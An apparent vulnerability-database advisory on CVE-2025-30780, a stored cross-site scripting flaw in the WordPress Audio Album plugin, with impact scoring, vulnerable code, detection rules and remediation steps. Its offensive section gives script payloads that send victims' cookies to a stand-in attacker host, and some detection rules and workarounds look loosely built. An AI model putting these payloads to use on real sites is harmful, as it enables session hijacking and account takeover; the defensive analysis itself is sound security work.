CVE-2025-30780
Executive Summary
CVE-2025-30780 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin Audio Album by cubecolour, affecting versions up to and including 1.5.0. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an authenticated attacker with contributor-level privileges or higher to inject malicious scripts. These scripts are stored on the server and executed in the browsers of other users (including administrators) when they view the compromised album page. This can lead to session hijacking, credential theft, or defacement. The CVSS score is 6.5 (Medium), and no public exploit or patch is currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository. Users who have installed the plugin via the WordPress admin dashboard or directly from the repository are at risk. The plugin is not distributed via NPM, PyPI, Go, or Ruby ecosystems.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The attack is carried out over the network.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): Low (L) – The attacker needs contributor-level access or higher.
- User Interaction (UI): Required (R) – The victim must visit the compromised page.
- Scope (SC): Changed (C) – The vulnerability impacts resources beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure.
- Integrity (I): Low (L) – Limited ability to modify data.
- Availability (A): Low (L) – Limited impact on availability.
Threat Level: Medium. The requirement for authenticated access reduces the attack surface, but the stored nature of the XSS increases the potential for widespread impact within a WordPress site.
Deep Dive & Mechanics
The vulnerability exists in the audio-album plugin's handling of user input when creating or editing audio albums. The plugin fails to properly sanitize or escape input fields (such as album title, description, or track names) before storing them in the database and later rendering them on the page. This allows an attacker to inject arbitrary HTML and JavaScript code.
Attack Flow:
- An attacker with contributor-level access or higher logs into the WordPress admin panel.
- The attacker navigates to the Audio Album editor and inserts a malicious payload into an input field, e.g.,
<script>alert('XSS')</script>. - The plugin stores the payload in the WordPress database without sanitization.
- When an administrator or other user views the album page, the payload is rendered and executed in their browser.
- The attacker can then steal cookies, session tokens, or perform actions on behalf of the victim.
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code is presumed to be in the plugin's output functions. A typical vulnerable pattern in WordPress plugins is:
// Vulnerable code (audio-album <= 1.5.0)
echo '<h2>' . $album_title . '</h2>';
A patched version would use WordPress's escaping functions:
// Patched code (hypothetical)
echo '<h2>' . esc_html( $album_title ) . '</h2>';
The esc_html() function converts special characters to HTML entities, preventing script execution.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- A WordPress instance with Audio Album plugin version <= 1.5.0.
- A user account with contributor-level privileges or higher.
Steps:
- Log in to the WordPress admin panel as a contributor.
- Navigate to Audio Album > Add New.
- In the Album Title field, enter the following payload:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Publish the album.
- When an administrator views the album, the script executes and sends their cookies to the attacker's server.
Alternative Payload (for session hijacking):
<script>new Image().src='https://attacker.com/steal?cookie='+document.cookie;</script>
Blue Team (Defensive)
Detection:
- Monitor for unusual input patterns in album creation/editing logs.
- Look for HTTP requests to unknown external domains from the WordPress admin interface.
- Use Web Application Firewall (WAF) rules to block common XSS patterns.
Mitigation:
- Disable the Audio Album plugin until a patch is released.
- Implement Content Security Policy (CSP) headers to restrict script execution.
- Enforce strict input validation and output escaping on all user-supplied data.
Indicators of Compromise (IOCs)
- File Hashes (SHA256): (None available – plugin files are not signed)
- Network Indicators:
- Outbound HTTP requests to attacker-controlled domains from the WordPress server.
- Suspicious
GETorPOSTrequests containing<script>tags in album-related parameters.
- Log Entries:
- WordPress audit logs showing creation of albums with unusual titles or descriptions.
- Web server logs with
%3Cscript%3E(URL-encoded<script>) in the request URI.
- Database Indicators:
- Rows in
wp_postsor custom plugin tables containing unescaped HTML/JavaScript.
- Rows in
Detection Engineering
YARA Rule
rule Detect_Audio_Album_XSS_Payload {
meta:
description = "Detects stored XSS payloads in Audio Album plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-30780"
strings:
$xss1 = /<script[^>]*>.*?<\/script>/is
$xss2 = /on\w+\s*=\s*['\"].*?['\"]/is
$xss3 = /javascript\s*:/is
condition:
any of them
}
Sigma Rule
title: Stored XSS in Audio Album Plugin
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects stored XSS attempts in Audio Album plugin
author: Valters IT
date: 2025/04/10
logsource:
category: webserver
product: apache
detection:
selection:
c-uri|contains:
- '/wp-admin/admin-ajax.php'
- '/wp-admin/post.php'
c-uri|contains|all:
- 'action=edit'
- 'post_type=audio_album'
sc-status: 200
condition: selection
falsepositives:
- Legitimate album creation with special characters
level: medium
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-30780 Stored XSS in Audio Album"; flow:to_server,established; content:"/wp-admin/"; http_uri; content:"audio_album"; http_uri; pcre:"/<script[^>]*>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin – Deactivate and delete the Audio Album plugin from all WordPress installations until a patched version is released.
- Audit existing albums – Review all existing audio albums for malicious content. Remove any suspicious entries.
- Change admin credentials – If any administrator accounts were compromised, reset passwords and revoke session tokens.
Long-term Fixes:
- Apply vendor patch – Monitor the WordPress plugin repository for an update (version > 1.5.0).
- Implement WAF rules – Use a Web Application Firewall to block XSS payloads.
- Educate users – Train content contributors to avoid pasting untrusted content into plugin fields.
Workaround (if plugin must remain active):
- Add the following code to the theme's
functions.phpto sanitize output (not a complete fix, but reduces risk):add_filter( 'the_title', 'esc_html', 10 ); add_filter( 'the_content', 'esc_html', 10 );
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.